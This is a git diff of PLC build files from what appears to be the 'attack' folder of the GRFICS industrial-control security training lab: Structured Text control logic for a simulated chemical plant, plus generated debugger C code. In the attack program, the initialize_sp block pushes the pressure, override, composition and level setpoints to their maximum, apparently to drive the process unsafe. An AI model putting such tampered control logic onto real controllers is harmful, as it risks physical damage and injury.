THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, 